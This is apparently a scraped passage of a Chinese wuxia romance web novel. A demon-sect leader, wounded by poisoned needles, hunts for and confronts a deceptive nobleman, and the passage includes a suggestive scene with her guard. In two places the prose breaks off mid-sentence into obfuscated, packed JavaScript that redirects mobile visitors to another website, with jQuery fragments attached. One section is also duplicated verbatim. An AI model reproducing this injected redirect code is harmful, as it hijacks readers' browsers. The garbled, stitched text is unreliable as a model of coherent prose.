“你找死!”这姓陈的再难忍受,“噌”的一声拔出长刀来,抬手将桌子一挥,照着小姑娘那里掷去。 “哎呦!客官,别打别打!!”眼瞅着就要打起来,掌柜的立马坐不住了,连忙从柜台后面走出去,却瞧着那江湖人手中的长刀不敢靠近,“和气生财!和气生财!两位可别打,小店经不住两位这一番折腾啊。” “滚犊子!老子......” 话没有说完,身前已经站了一个头戴黑色幕篱的女人,身影倩然,低声吟笑:“出门在外,何必如此大动肝火?” 那个姓陈的面色阴晴不定的瞧着眼前女人,突然哑了声。 同行的林姓男子也连忙站了出来,拉住那人:“陈兄消消气,何必同那小儿一般见识。” 这个叫陈兄的没有说话,只是目光忌惮的扫了眼谢稚,又恶狠狠的瞪了眼那小姑娘,最后冷哼一声,抱着长刀入鞘,脚步匆匆的离开客栈。 林姓男子显然也没想到男人这次竟然如此简单的就离开了,愣了一下,冲着谢稚微微拱一拱手,跟着出门追了上去。 远远的,谢稚还能听到两个人的对话。“陈兄,你走这么急做什么?” “做什么?你刚看到那个女人怎么出现在咱们面前了吗?” “......没有。” “没有你还不快跑?嫌命长吗?” “哦......” “等等,你跑那么快干嘛?” “不是陈兄你说快跑的吗?” “咱们这不都已经跑出来了,还跑他个娘娘腿的屁啊?” 谢稚慢慢转过身子,对上那个小姑娘:“故鄣县的城门开了?” 小姑娘施施然的靠在椅背上,呷了一口手中的黄酒,又呸的吐出去,撇着嘴睨着人:“干嘛?我随口说的。” 谢稚笑了:“若是随口说的,那门外第一棵柳树上立着的燕隼也就不是姑娘的了?晏白,我们奔波这一整日,正好缺个下酒菜。” “是。” “你敢!”小姑娘终于变了脸,整个人刷的站了起来,一双杏眼怒目圆睁。 晏白没有说话,直接闪出了门外,身影一纵,就捏上了那燕隼的脖子。 “所以,鄣郡为什么开了城门?”谢稚仍旧立在原地,语气中带着三分笑意。 小姑娘脸都黑了,咬着牙道:“还能为什么?自然是抓到了该抓的人,就开了呗。说来也是奇怪,倘若抓住的那人真的是杀死喻长辞的凶手,又怎么会如此轻易的就被那伙官兵抓住?” “谁被抓住?” 小姑娘挑着眉斜了一眼她:“这题超纲了,我可不知道。” 谢稚冷笑一声:“情报方面,还有遮那宗的少宗主不知道的事情?” 小姑娘不说话了,眯着眼睛打量她半响,最后瘫坐在椅子上,自暴自弃道:“好了!我只知道有人喊他什么容公子,剩下的......就不知道了。” “如何被抓的?” 小姑娘抓起筷子重新吃了起来:“那我怎么知道?我们的人只负责收集信息,至于里头那些弯弯绕绕,他们就算想知道也没那么大的本事。” 谢稚安静了片刻,突然道:“人死了吗?” 小姑娘吧咋了两口,继续道:“不清楚,一场大火烧了个干净。直到清晨时候,那些人才从里面捞出两具尸体。” 谢稚手指轻颤了一下:“你刚才也说过了,那伙官兵如何是那些人的对手?” 小姑娘又挑拣着桌上的几道菜蔬,最后啪唧将筷子一扔,摇头道:“我也觉得不对劲啊。就算有窦沛在场,也不应该是如此一边倒的形式。倘若窦沛真能压得住那几人,当初又怎么会让人在家里面把喻长辞的脖子都给削掉了?所以只有一种可能......” “这窦沛和官府沆瀣一气,找了几个替罪羊。” 谢稚没有说话,立在原地呆了许久。 小姑娘重又站起身,眯着眼试图透过黑色幕篱瞧清楚女人的表情,可惜的是......这幕篱质量很好,瞧得不甚分明。 她重新折回座位,眼巴巴的瞅着她,目光中透出几分希望得到肯定的神色:“这是我猜测出来的结果。你觉得呢?” 谢稚慢慢抬头,声音从黑色幕篱的后面一点一点冒出来,如同挤出来的黑夜沉沉:“人都死了? 小姑娘一耸肩:“应该吧。” “你知道撒谎的代价吗?” “同弱小者说谎,没有代价;同你这样的人说谎,它的代价......我应该不想承受。” 谢稚没有再说话,转身出了房门,解开缰绳,翻身上马,照着来路扬长而去。 晏白松开手中的燕隼,深深看了那女子一眼,也跟着一起折了回去。 通体漆黑的燕隼平白受了这一场惊吓,连忙瑟缩着回到自家主人的手臂之上,瑟瑟发抖。小姑娘抬手顺了顺它的羽毛,面上缓缓褪去方才的稚嫩,露出一抹奇妙的深沉之色:“如此有意思的人,就这么折了也可惜。” 小姑娘说完之后,目光温和的转向那燕隼的瞳孔:“这一回,该更加有趣了吧?” 小姑娘托着燕隼就往外走,一直缩在角落里的掌柜的这个时候连忙窜出来:“哎!你还没给钱呢!” 小姑娘眨了眨眼睛,回过神朝他笑道:“方才那两个人给钱了吗?” 掌柜的想到这个就忍不住的牙疼:“没有!不仅没给,还摔坏了我这许多的碗筷!!” 小姑娘微挑了下眉,冲他笑得灿烂:“那我也不给!”小姑娘说完之后,径直朝着门外走去。 掌柜的急了:“你不能走!” “为什么我不能走?方才那些人走的时候,你怎么不拦着?”小姑娘话问的直白,一双漆黑的眼睛如同琉璃一般瞬间将人看到了底。 掌柜的被她看得有几分发毛,嘴唇翕动有些说不出话来。 小姑娘继续道:“哦,我知道了。你是觉得我好欺负?所以,就像从我这里找补回全部的损失。”小姑娘说到最后咯咯笑了起来,双手环胸的看着她,“可是你瞧瞧我真的好欺负吗?” 掌柜的将女人上下打量了一番,一身粗布衣裳瞧不出什么特别的,就连头上的簪子也不过是一个普通木头雕刻而成的。可是,女人的眼神却冷得很,就像常年在冰雪之巅沉浸下来一般。 掌柜的不吭声了。 小姑娘抬了抬下巴,转身就走:“今天遇到我,算你倒霉了。但是你应该值得庆幸的是,我的心情不错,你也只是损失了一些财物罢了。” 一直到这小姑娘扬长而去,掌柜的也没有再吭声。他在这小县城里经营数十年,也算是阅人无数了。什么样的人能惹,什么样的人不能惹,他心里已经有了基本的尺度。可是,这一回......却是差点儿看走了眼。 春风将黄昏的最后一线微红扯入地平线之下,再次留给天地一片黑暗。 谢稚一声不吭的纵马疾驰,握着缰绳的手指几乎陷进了掌心里面。 “主子,如果我们这个时候回去,武林大会就彻底错过了......而且,那个女人来路不明,说的也不一定都是真的。就算有个万一,花影他们自保应该都不成问题的。所以......”晏白的话没有说完,对上女人的侧脸,彻底闭上了嘴。 谢稚没有表情,甚至眼睛都没有眨一下,目光始终望着前方的茫茫黑夜,就好像无情的人形机器一般。 可是晏白却不敢再说话了。 这个模样的谢稚,让他想到了......那一天的谢稚。 他记得很清楚,消息传回来的那天是个雨夜。 来人跪在房间中央,旁边是一具只剩下骨头架子的白骨。场面惊悚,字字清晰。 谢稚像是没有听到一般,继续手中的事务。一直到所有事物都处理完之后,她才抬起头看了眼那具白骨,偏头问那人:“你说这是谁的尸骨?” 女人的声音同往常没有什么区别,但是来人却不敢大声说一个字:“苏璟的。” 谢稚垂眸望了过去,远远打量了一会儿:“哦,七年就能烂成这副模样吗?” 来人低着头:“从山崖之下坠下来,又泡了几天才被人找到。后来又被随便葬在了山下一处空地上,也没有棺椁......所以,变成这副模样也是有可能的。” 谢稚又淡淡的哦了一声:“他竟死的这样凄惨啊。” 女人说完之后,终于动了。她慢慢从桌后绕出来,一步一步走到那一堆白骨的面前,居高临下的瞧了一会儿,又慢吞吞的蹲下身子,手指拨动着那堆骨头。 “骨头也都碎成了这个样子?” 来人头压得越来越低,声音也越来越小:“时间太久了,加上一路送来......路程颠簸,本就牵连的骨骼基本就都脱落了。” 谢稚嗯了一声,慢慢摆弄起来这些碎骨头。 灯下美人,白骨森森。 房间里没有人说话,只有白骨拨弄的声音。 突然,谢稚的动作一顿,所有人的呼吸都跟着放轻了。 女人握着其中一节白骨,手指在中间一处反复摩挲了会儿,叹道:“竟还真的是他啊。” 话音落下,砰的一声,一声灯花爆破。紧跟着,一声炸过一声,好像在为谁欢呼似的。 谢稚似乎被惊了一下,将手中的白骨重新扔到地上,跟着拍了两下手掌,唇角越扯越大,笑容也越来越深,让她整个人都变得艳丽非凡:“好事啊!他死得这样好,可真是件大好的事情啊!” 女人大笑着起身,整个人在屋内旋转起来,艳丽的红裙几乎晃花了人的眼睛:“只可惜,没有死在我的手里啊。” “好恨啊!” 笑到最后,女人的声音陡然一变:“都滚出去!” 晏白始终在门外立着,等到所有人都离开之后,听到了女人重重摔倒的声音。 还有一道几不可闻的呢喃:“你怎么敢死?” “你怎么..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14282251|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .能死?” 也是这一句话,让晏白整个人如兜头一桶冰水浇了下去。 苏璟是谁?背叛了她的人。可除此之外呢,他还是她的什么人?他以前竟是从不知晓。 也是从那一天开始,他也跟着一同疯了似的调查这个人。可越是调查,越是绝望。 那样的一个青葱岁月,他不可能再给她,也不可能再同她从头来过。 直到......容峋那个人的出现。 这个人出现的那样突然,却又不着痕迹。他原本没有将这样一个人放在心上,不过一个死人的替身罢了。 可如今瞧来,这个替身......只怕还轻易丢不得。 从鄣郡到阿屏县走了一个昼夜,这次返回,两个人只用了不到八个时辰。正午时分,谢稚就重新立在了故鄣县的城门口。 马匹也早已经受不了这个来回奔波的速度,累倒在半路。剩下的一段路程,两个人几乎全程用轻功赶了回来。 故鄣县重新恢复了往日的平静,城门口来回行人不绝,但是没有一个人抬头。 城墙之上吊着两具被烧焦的尸体,早已经瞧不清模样如何,只能从身形上看出是一男一女。 谢稚立在原地仰头望了很久,久到城门口的士兵都察觉到不对劲了,走过来呵斥道:“什么人?在这瞎瞧什么呢?这是前两日城里行凶的贼子,县令大人说了,曝尸三日,大惩小戒。” 谢稚慢慢将目光收回来,看着眼前这人幽幽道:“哦,这两个人叫什么名字?” 那士兵脊背一凉,后退一步:“你问这么清楚做什么?” 谢稚笑了笑,语气轻飘飘的:“这么凶的贼子,随便个人都想多问两句吧。” 士兵眯起眼喝道:“不该问的别多问!还有,把幕篱摘下来。” 谢稚手指摸到幕篱边缘,从容摘下,不过没等这士兵瞧见女人样貌,那幕篱已经照着士兵面门击去。 砰地一声,士兵直接跌在地上,生死不知。 谢稚脚下一点,瞬间上了城墙,跟着手中长剑砍过绳索,稳稳将人接在城墙之上。可是没等她将人放下,下一秒,尸体的前襟突然射出数道飞针暗器,谢稚瞳孔一缩,身子极速后撤,却已经来不及了。 三根银针入体,女人闷哼一声,当场呕了一口鲜血。 “主子!”晏白神色大变,飞身跃起,一把扶住她的身体。 谢稚摆了摆手,将目光投向这个时候才现身出来的窦沛。 说来话来,可从谢稚出手打落士兵,到她中招不过数个呼吸。在这短短呼吸之间,方才还一片宁静的故鄣县城,瞬间乱成一团,无数百姓蜂拥着往城里涌去。 “没想到魔教新教主竟然如此多情。”窦沛立在原地遥遥看着,声音不大不小刚好传入谢稚的耳中,“早知如此,那沛之定然会给阁下留两副全尸。” 谢稚抬手擦去唇角鲜血,淡淡道:“容峋呢?” “谁?”窦沛反应了片刻,哦了一声,“阁下在问那位公子?” 男人说到这里轻笑了一下,抬眼看她:“大家都是明白人,何必非得把话说得这样明白?” 谢稚瞳孔急剧收缩,声音却四平八稳:“他死了?” 窦沛一笑眼角瞬间现出褶皱,露出阴狠杀意:“放心,阁下很快就能见到他。” 城外杀机弥漫,城内却是一片春和景明。 城西一处湖心亭落了满地的海棠花瓣,映着高瓴琉瓦、翘角滴翠的飞檐构造,自成一片风光。亭中两人对弈,一黑一白,相对而坐。 “她怎么这个时候回来了?”说话这人一身白衣,面如冠玉,姿容潋滟,声音淙淙如水,如九天之上流泻而下的白云,令人轻易沉溺。 正是遍寻不见的容峋。 对面那人一副书生打扮,细目长眉,面容清癯,约莫二十来岁的年纪。这书生摇了摇头:“还不清楚。按着原计划,这位魔教教主就算知道消息也得是今天了。可如今她却直接回到了鄣郡......即便飞鸽传书也没有这样快的,除非......” 说到这里,他话音顿了顿,抬眸瞧了男人一眼。 容峋拈起一枚黑子,淡笑道:“除非什么?” “她走到一半,临时起意折了回来。” 容峋将手中黑子轻轻按下,掀眸望了过去:“她不是一早就定下了在武林大会当日血祭万花庄的计划,如何轻易就改了主意?” 如今的容峋面上脱去了先前的稚气,狭长的眼眸如潺潺春水流转波光,可等到深入其中的时候,才发现那春水深处是一潭无底的深渊,幽暗冷峻。 对面男人没有说话。 容峋悠悠叹了口气:“如此倒是不好将这桩事安在他们头上了。” “那武林盟那边的计划......” “继续吧。魔教的人没有明面现身,不代表暗地里没有动作。” 书生点头:“是。” 两个人安静对弈片刻,容峋再次出声:“如今什么情况了?” 书生没有说话,因为他清楚这话也不是问他的。 一道黑衣人不知从哪里落了下来,低声道:“窦沛没抓到人,让人进了城。咱们的人不敢靠得太近,在淮南巷跟丢了。” 容峋没有立刻说话,在棋盘上按下决定局势的最后一子,才慢慢起身:“丢了就丢了吧。” “咱们也要走了。” “在这鄣郡停留的也够久了。” 容峋走了两步,又慢慢停下,似乎才想起来一般:“她中了窦沛的无影针?” 黑衣人点头:“窦沛的无影针细如牛毛,而且上面含有剧毒,只怕......活不过几个时辰了。” 容峋慢慢垂下眸子,面上瞧不出什么情绪,只是周身的氛围却明显凝固了很多。 黑衣人觑着眼朝书生看去。 书生隐晦的摇了摇头,安静的等着自家公子吩咐。 容峋哦了一声,脚下不停,踩过零落成泥的海棠花:“也好。如此,武林大会的事也就彻底落在魔教头上了。” 11. [锁] [此章节已锁] 城外杀机弥漫,城内却是一片春和景明。 城西一处湖心亭落了满地的海棠花瓣,映着高瓴琉瓦、翘角滴翠的飞檐构造,自成一片风光。亭中两人对弈,一黑一白,相对而坐。 “她怎么这个时候回来了?”说话这人一身白衣,面如冠玉,姿容潋滟,声音淙淙如水,如九天之上流泻而下的白云,令人轻易沉溺。 正是遍寻不见的容峋。 对面那人一副书生打扮,细目长眉,面容清癯,约莫二十来岁的年纪。这书生摇了摇头:“还不清楚。按着原计划,这位魔教教主就算知道消息也得是今天了。可如今她却直接回到了鄣郡......即便飞鸽传书也没有这样快的,除非......” 说到这里,他话音顿了顿,抬眸瞧了男人一眼。 容峋拈起一枚黑子,淡笑道:“除非什么?” “她走到一半,临时起意折了回来。” 容峋将手中黑子轻轻按下,掀眸望了过去:“她不是一早就定下了在武林大会当日血祭万花庄的计划,如何轻易就改了主意?” 如今的容峋面上脱去了先前的稚气,狭长的眼眸如潺潺春水流转波光,可等到深入其中的时候,才发现那春水深处是一潭无底的深渊,幽暗冷峻。 对面男人没有说话。 容峋悠悠叹了口气:“如此倒是不好将这桩事安在他们头上了。” “那武林盟那边的计划......” “继续吧。魔教的人没有明面现身,不代表暗地里没有动作。” 书生点头:“是。” 两个人安静对弈片刻,容峋再次出声:“如今什么情况了?” 书生没有说话,因为他清楚这话也不是问他的。 一道黑衣人不知从哪里落了下来,低声道:“窦沛没抓到人,让人进了城。咱们的人不敢靠得太近,在淮南巷跟丢了。” 容峋没有立刻说话,在棋盘上按下决定局势的最后一子,才慢慢起身:“丢了就丢了吧。” “咱们也要走了。” “在这鄣郡停留的也够久了。” 容峋走了两步,又慢慢停下,似乎才想起来一般:“她中了窦沛的无影针?” 黑衣人点头:“窦沛的无影针细如牛毛,而且上面含有剧毒,只怕......活不过几个时辰了。” 容峋慢慢垂下眸子,面上瞧不出什么情绪,只是周身的氛围却明显凝固了很多。 黑衣人觑着眼朝书生看去。 书生隐晦的摇了摇头,安静的等着自家公子吩咐。 容峋哦了一声,脚下不停,踩过零落成泥的海棠花:“也好。如此,武林大会的事也就彻底落在魔教头上了。” *** “嗯......”一声闷哼之后,谢稚又顺着床沿呕出一口鲜血。 “主子,你怎么样?”晏白在女人身后连忙扶住她,神情紧张小心。 谢稚摇了摇头,慢慢将整个身子靠在晏白怀里,没有回答这个问题,反而道:“这是一个很好的机会,怎么不动手?” 晏白脸上的紧张顿时一僵,眸光同女人琉璃般的视线一碰,沙哑道:“这不是一个很好的机会。” “怎么不是?”谢稚几乎将所有的力气都靠在了身后,别开目光,“我受了伤,中了毒,如今身边又只有你一个。方才你若是动手,如今的我就已经是个死人了。” 晏白睫毛微微颤了下,如同清晨荷叶不堪露水的重负:“这点儿伤于尊主而言,并没有什么大碍。晏白若是此时动手,最后倒下的......只会是我自己。” 谢稚轻轻笑了一下:“晏白,真不想看到你动手的那天。” 晏白张了张嘴,想要说什么。女人已经再次说话了,“烧得那样厉害,我没瞧出来是不是花影和别巍。你瞧出来了吗?” 晏白低低应了一声:“属下也没瞧出来。” 谢稚:“是与不是,总得再去一趟。” 晏白抿着唇,眸中有期望也有紧张:“今天已经十三了,马上就到十五月圆之夜了。尊主如今受了伤,不如等过了十五再去。” 谢稚眸光幽幽的望着前方,过了好一会儿才道:“容峋消失了?” 晏白眼中滑过一丝妒色,扶着女人胳膊的手指忍不住收紧:“尊主如今都伤成这样了,还要去管他吗?” 谢稚抬手拉开晏白的手指,侧过脸看向他:“这是关心我,还是......讨厌他?” 晏白对上她的眸光,紧抿着唇,憋了一会儿道:“都有。” 谢稚被他这句话逗笑了,手指摸上他的脸颊:“晏白,你同他不一样的。” 上一次她也说过这句话。可是这一次...... 晏白一把攥住她的手指,眸光紧紧盯着她,如同出鞘的利剑一般犀利:“那尊主说,哪里不一样?” 男人的压迫感十足,谢稚却仍旧仪态自如,眸光流转出媚意:“他是我的念想,而你......” “是我如今离不开的人。” 晏白低头看着她,仍旧没有觉得满足,甚至感觉更加的饥饿和渴望。他低下头亲吻着女人的指尖,声音呢喃,充满了虔诚和眷恋:“是真的吗?” “还是尊主只是在哄着我?” 谢稚任由着他的动作,眸光温和的看着他的亲吻从指尖一路到了肩头,脖颈和胸口。 为了逼出体内的银针,谢稚一早就褪去了外衫,只留下了一件茜黄色梅枝抹胸和月白亵裤。右胸前被逼出银针的地方还残留着三个血点,鲜艳如灼。 晏白几乎虔诚的亲吻着女人身上每一处肌肤,尤其在那几个血点的位置,更是缱绻之至,动作温柔小心。 谢稚仍旧没有阻止他,甚至闭上了眼睛,手指跟着插进了他的头发,充满了放纵和鼓励。 “尊主......”晏白的亲吻在胸口停留了一会儿,又慢慢折回到了脖颈和下巴,一直到唇角位置。 到了这个位置,晏白有些担心也有些紧张,但是他没有抬头去看谢稚,而是继续试探着贴上女人的红唇。 谢稚一顿,终于开口了,声音带了些许的警告:“晏白......” 晏白却没有停下,反而趁着女人开口的瞬间,将舌尖送了进去,可没等碰到女人的软舌,就已经被甩了下去。 “哐当”一声,晏白被撞在屋内的屏风上,又摔在了地上。 “尊主。”晏白没有起身,直接跪在了地上。 谢稚坐在原地,遥遥看着他:“知道为什么吗?” 晏白低着头不说话,唇角紧绷,如同倔强的冰山沉默不语。 “过来。”谢稚声音放缓了几分,语气也听不出好坏。 晏白抬起眸子看她,脸上虽然还冷着,可眼中已经升腾出几分希望,脚下跟着动了。 男人半跪在床前,几乎顺从的将后颈露出来,等着主上的下一句吩咐。 谢稚摸上他的耳朵,动作温柔的捏了捏:“晏白,别在本座的容忍边缘试探。” 晏白身子一僵,喉结上下滚动了几圈,才沙哑出声:“为什么他可以?” 谢稚手上的动作一停,晏白猛地抬起头来,眼睛不知什么时候已经通红一片:“为什么我不可以?” 两个人的视线交锋,谁也没有退步。最后谢稚缓缓笑了,唇角露出轻盈的笑意:“没有为什么,只是我不想。” 晏白如同被钉在原地一般,浑身的力气和锋芒一下子就散尽了,只留下空空如也的茫然和无措。 谢稚叹了口气,手指重新捏上少年的耳朵,语气中尽是感叹:“除了这个,难道我对你还不算例外吗?” 晏白双眸慢慢回神,渐渐凝成一线,对焦到女人的脸上。女人一身雪白,乌发如瀑,眉眼弯如皎月,红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285513|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇艳若桃花,好像坠落魔道的九天玄女,让人忍不住想要侵犯。 可是,她不允许。 晏白眼角微红,攥住谢稚的手腕,恶狠狠的咬了上去。 “放肆!” 女人的呵斥不轻不重,晏白却听话的松开了牙齿,目光再次紧盯上了她。 谢稚斜了他一眼:“做什么?” 晏白没有说话,也跟着不轻不重的重新咬了她一下。 “越发放肆了。” 这就是可以...... 晏白品着女人的语气,动作也越发放肆起来。 谢稚撩起眼皮瞧他:“混账!” 晏白虽然被骂了,却不见丝毫恼火,甚至眉间眼上多了些惺忪的笑意。双手也跟着插入女人的指缝,同她十指交扣,咬着那一处沙哑道:“嗯,我混账!只对尊主混账......” 谢稚平躺在床上,双眸虚虚地望向头顶帷帐,没有理会他。 晏白没有得到回复,也不着急,反而变本加厉的行动起来。上一次如此亲密,还是二月十五。 也是苏璟死讯传回去的第三天。 那天他心里怄着一股气,她也压着一身的阴郁。蛊毒发作的时刻,已经说不清是欲望还是情绪倾泄了。 比不过苏璟一个死人也就罢了,可是容峋......这个人凭什么? 想到他,晏白眸中一片沉色,亲吻的力度也陡然用力起来。 “嘶......行了。” 晏白却好像没有听到一般,继续往下。 谢稚眸光一冷,抬脚踹上他的肩头:“晏白,你也不听话了吗?” 晏白动作终于停下,偏头将吻落到女人脚背,灼热滚烫:“晏白只是想让尊主开心一些。” 谢稚不轻不重的将人踹开,哪怕周身布满红痕,面上也不见一丝旖旎:“找到容峋,我就会开心。” 晏白面色肉眼可见的沉了下去,可是这个模样的尊主已经不会再纵容他了。他垂下眸子,哑声道:“好。我去找。是死是活,我都给尊主找回来。” 少年说完之后,转身就走。 谢稚冷眼瞧着,没有说话。等人走了之后,房门再次打开,屏风后缓缓转出一道绛紫色曳地裙女子身影,云髻高耸,芙蓉脸蛋,称得上是国色天香。 女人进来之后,瞧见谢稚这副模样,既不害臊也不躲避,反而凑上前去挑起谢稚一缕乌发在鼻尖嗅闻:“少年人总不知轻重,可是晏护法把尊主弄疼了?” 谢稚一把扯回自己的头发,警告道:“合欢。” 合欢挑了挑眉,从善如流的起身靠在一侧:“确实有人拿着京城宁国公府的令牌来让县令那个老东西封城搜捕。十一日白天搜了一圈,似乎没查出什么人来。可到了晚上子时左右,衙门和东姑坞同时出动。那个时候,花影和别巍应该也察觉到了异常,可是已经晚了。”说到这里,女人脸上现出一丝不忍,“刚开始他们应该都藏在了密室之中,可是窦沛直接点了火,烟雾浓重,没有半个钟头的时间,别巍和花影就带着那个叫容峋的冲了出来。” “最后容峋被那些人带走了,他们两个......” 后面的话没有再说,房间内的所有声音戛然而止。 谢稚闭上眼睛,声音幽微:“他们是怎么知道的?” 合欢摇了摇头:“还不清楚。如果单单是怀疑的话,不可能直接做到那种程度。那明显是笃定了......他们就在那里。” 谢稚紧了紧拳头:“容峋在哪里?” 合欢目光瞬间变得凛然起来:“那老东西将人交给了国公府的人,他们如今应该还在西城别院。” 谢稚忽然想到什么,猛地起身:“晏白去了那里?” 合欢点了点头:“方才他出来时候问了我,我就直接告诉......”话没有说完,窗棂响动,谢稚已经不见了身影。 12. 第 12 章 “你果然有问题。” 西城别院,晏白横剑指向被众人簇拥着的容峋。 容峋纹丝不动立在远处,眉目沉静,端华无双。他掀眸瞧了晏白一眼,薄唇微动,声音是由始自终的温和:“这个时候,你怎么在这里?” 这句话的语气,就好像是询问家中出游的亲人怎么折返回来一般。 晏白冷笑一声,展剑一挥,纵身刺了上去:“来杀你。” 容峋没有动,身边的暗卫已经抽剑拦了过去。 晏白出手凶狠,没有一点儿留招。暗卫这头同他打了个平手,不相上下。 容峋冷眼旁观了半响,突然出声:“谢稚死了?” 晏白没吭声,只是手上动作越发迅捷了几分。 就算窦沛的无影针毒性再强,也不太可能这么快就......刚刚想到这,容峋下意识朝着远处垂柳之上望去,不知什么时候,多了一道倩影。 女人仍旧一身黑衣,腰间一条雪白丝绦,如同初见那日一般。不过不同的是,那日手中的竹节伞,换了一把长剑。斜斜的指向地面,剑光凛冽。 视线上移,二人目光撞了一下,惊起深海巨浪,可在面部之上却不见丝毫变化。 “容峋,你当真好本事。”谢稚微微笑了一下,声音泠泠动听。 容峋也笑着道:“不及尊主手段通天。” 谢稚目光盯着他,笑容越来越大:“他们是你做的?” 容峋没有点头,也没有否认,只是换了个话题:“听说你受伤了?” “是啊,可惜......”女人话音落下,长剑已经如电似雪般刺了过来,方才那暗卫的头竟在电光火石之间退了回来,提剑一挡, 霎时间,火星四溅,剑气崩裂。 谢稚略有些诧异的睇了他一眼,给出评价:“倒是不错。”说完之后转头看向容峋,扯了扯嘴角:“有这样的手下,竟还编排出那副身世来骗我。容郎,你当真是好狠的心啊。” 容峋旁观了两人一个来回,语气泰然:“身世没有骗你。” 谢稚嗤笑一声,也就是除此之外都是欺骗了。 春日回升,大地回暖。春风穿过二人中间的刀剑,落下柳叶成片。 容峋一双含情目幽幽望着她,声音似叹似嗟:“你这样出现在这里,不是明智之举。” 谢稚笑了:“哦?容郎觉得我应该怎么做。” 容峋目光从她的脸上往下滑去,可刚刚到脖颈位置就是一顿,眸光倏然一暗,声音也冷不丁的沉了下去:“藏起来,等待时机。” “可惜啊,时光催人老。我是......一分都不想等了。” 说到这里,谢稚唇角的笑还没有落下,长剑已经再次刺了上来。 暗卫那头跟着提剑冲了上去,谢稚冷笑一声,手下没有一点儿留情,照着暗卫要害处连攻。照着这个攻势,不出十招,那暗卫只怕就要血溅当场了。 容峋拧着眉偏头对书生交代了几句,不顾男人色变模样,抽出了一把长剑。 男人气质温润如云间君子,出手确是杀气凛然,极快、极猛、极狠,只一个瞬间,尖锐到骨子里去的白色剑气就到了眼前。 谢稚不闪不避,迎面接了上去,声音更是长啸愉悦:“好啊!真是好!” “没有想到你竟然......” 女人话没有说完,可是眸中的光亮似乎被彻底点燃。 一个杀机外露,凛然如刀;一个温和如水,却暗藏杀机。不过一呼一吸之间,二人已经交手了十几个来回。 转瞬之间,各自浑身巨震,倒飞出去。 谢稚险些没有站稳,脚尖在地面留下一道深痕。晏白接在谢稚身后,稳稳扶住她的腰间:“尊主?” 谢稚摇了摇头:“没事。” 容峋不露痕迹的扫了一眼晏白扶在女人腰间的手掌,须臾又挪开了:“谢尊主,请吧。” 晏白咬了咬牙,骂道:“尊主,这狗东西一直在装柔弱!” 谢稚推开晏白,目光泠泠:“是啊,竟连我都骗过去了啊。” 容峋的脸色也不好看,本就雪白的肤色更白了一层,如雪赛霜。他掩唇低低咳了两声,等缓过喉头的腥意之后才缓缓道:“并非特意欺骗。” 谢稚沉着脸,上下打量了男人一番:“不过,幸好......” 女人没说幸好什么,只是目光温柔的睨向了容峋。容峋刚觉得不妙,突然一股钻心的疼痛从心脏迸了出来,手指一紧,踉跄着拄剑半跪了下去。 谢稚见此,拨弄了一下手腕上不知何时扬起头的细尾蛇,慢条斯理道:“容郎,长生蛊的滋味如何?” 所有人顿时变了脸色:“公子?” 容峋脸色惨白,唇角慢慢沁出一缕血渍,记忆却被拉回到了三日之前。 “是它?”男人明显承受着巨大的痛苦,可是声音却不见一丝颤抖。 相较于前两天那副柔弱模样,这样倔强沉静的容峋......更像了。 也更让她着迷。 可惜,骨头太硬了。 还需要,一根一根的慢慢敲碎。 谢稚目光痴迷的望着他:“是啊,我舍不得你再离开,于是顺手让它帮了一个小忙。” 晏白牙齿咬得咯吱作响,在女人身后提醒道:“尊主,这个人杀了花影和别巍。而且,他身份不明,居心叵测......” 谢稚点了点头:“是啊,这样一个朗朗如明月,心却如蛇蝎的男人合该留在身边啊。” 晏白瞬间不说话了。 容峋一身早已经湿透,干净雪白的衣衫贴在身上,不见狼狈,反倒多了几许的风流。 “过来。”谢稚目光幽幽的望着他,声音清朗愉悦。 所有暗卫登时抽出了剑,只等主上一声令下,便同那女魔头拼个你死我活。 容峋没有说话,哪怕身体颤抖到了极致,面上仍不见痛苦之色,只是沉静的望着谢稚,似在盘算着局势。 如今已尽日暮,因着正午时候城门的混乱,街坊之间不见什么人影。 静,愈静。 就在这沉静之中,混乱的脚步声却越来越近。 窦沛的人,来了。 谢稚转了转手中剑柄,缓缓道:“容郎,你最好跟我走。” “毕竟,我不想这世上再少这样一张脸了。” 容峋恍然笑了,如同终于突破浓雾乍然盛放的白昙花,虚弱而美丽:“不走,是个死;跟你走,同样是个死。这样的选择,应该没有人会选择后者吧。” 谢稚摇了摇头,语气很是笃定的望着他:“怎么会?我舍不得你死的。” 容峋目光徐徐地滑到晏白脸上:“就算谢尊主肯放过我,您身边这位只怕也容不下我了。” 晏白冲着他翻了个白眼,在谢稚看过来的瞬间,朝着谢稚表忠心:“我听尊主的。” 谢稚浅浅勾了下唇:“所以,你可以放心了吗?” 剧烈的疼痛再次袭来,这一回,容峋几乎没能握住手中长剑,哐当一声坠了地。男人缓了缓,踉跄着站起身来,面色惨白,声音却一如往昔温和:“当下死,或者在谢尊主身边......生不如死?” 男人说到这里顿了顿:“我好像没有别的选择了。” 暗卫那头连忙出声:“公子,京中太医总有能解得了的。咱们现在回京......” 话没有说完,谢稚已经出手了,不过长剑却没有朝着容峋而来,而是折身向着窦沛扫了过去。武林大会召开在即,按理窦沛作为东姑坞的掌事应该到场的。可是,喻长辞突遭了意外,东姑坞的所有事务连同丧办事宜一起落在了他的身上。因此,窦沛也就没有出发赶赴武林大会,只吩咐了喻长辞的大弟子代替东姑坞前往。 